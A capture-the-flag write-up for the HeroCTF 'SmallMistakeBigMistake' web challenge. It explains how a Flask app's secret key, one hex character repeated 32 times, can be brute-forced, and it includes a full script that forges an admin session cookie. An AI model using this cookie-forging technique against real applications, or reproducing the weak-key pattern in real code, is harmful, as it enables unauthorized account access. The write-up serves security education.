HeroCTF SmallMistakeBigMistake Writeup

This article is a write-up for the SmallMistakeBigMistake challenge from HeroCtf.

CHALLENGE DESCRIPTION

The website developer made a small mistake in the code of his website. Can you identify and exploit it to extract the flag?

Format : Hero{flag}

Auteur : xanhacks

Opening the link we can see :

home page

We have a main.py file we can download.

#!/usr/bin/env python
from flask import Flask, session, render_template

from string import hexdigits
from random import choice
from os import getenv


app = Flask(__name__)
app.secret_key = choice(hexdigits) * 32


@app.route("/", methods=["GET"])
def index():
    flag = "You are not admin !"
    if session and session["username"] == "admin":
        flag = getenv("FLAG")

    return render_template("index.html", flag=flag)

 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=int(getenv("PORT")))

The first thing that caught my eye was this :

def index():
    flag = "You are not admin !"
    if session and session["username"] == "admin":
        flag = getenv("FLAG")

    return render_template("index.html", flag=flag)

The flag will only be rendered if we have in our session a username with admin as a value, that is why we saw that annoying message on the home page.

Then i came across this line.

app.secret_key = choice(hexdigits) * 32

Flask uses the secret key to cryptographically sign session cookies, to see what that key might look like, I created this small script :

from string import hexdigits
from random import choice

secret_key = choice(hexdigits) * 32

print(secret_key)

Result

EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
99999999999999999999999999999999
00000000000000000000000000000000
dddddddddddddddddddddddddddddddd
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
cccccccccccccccccccccccccccccccc
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
77777777777777777777777777777777

After running this a couple of times you will see that it's kind of predictable.

As a result, we can easily brute-force this secret key and forge our session.

I did take some code from this repo noraj/flask-session-cookie-manager and now we have this exploit :

from string import hexdigits
from random import choice
from itsdangerous import base64_decode
import ast
from flask.sessions import SecureCookieSessionInterface
import requests


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

target = "https://smallbigmistake.web.heroctf.fr"


payload = '{"username":"admin"}'


while True:
    secret = choice(hexdigits) * 32
    cookies = encode(secret,payload)
    print("trying secret : {}".format(secret))
    response = requests.get(target, cookies={'session': cookies}) 
    if 'Hero{' in response.text:
        print("Flag Found ")
        print(response.text)
        break

Now we can simply run it

python3 brute.py

flag found

And we got the flag 🥳:

The secret key was 22222222222222222222222222222222, and right, this small mistake can lead to dangerous consequences.

That’s all! , Hopefully, you enjoyed it and learned something along the way.

If you would like to get in touch with me, you can find me on LinkedIn or Twitter.

You like it,it will be nice if you share it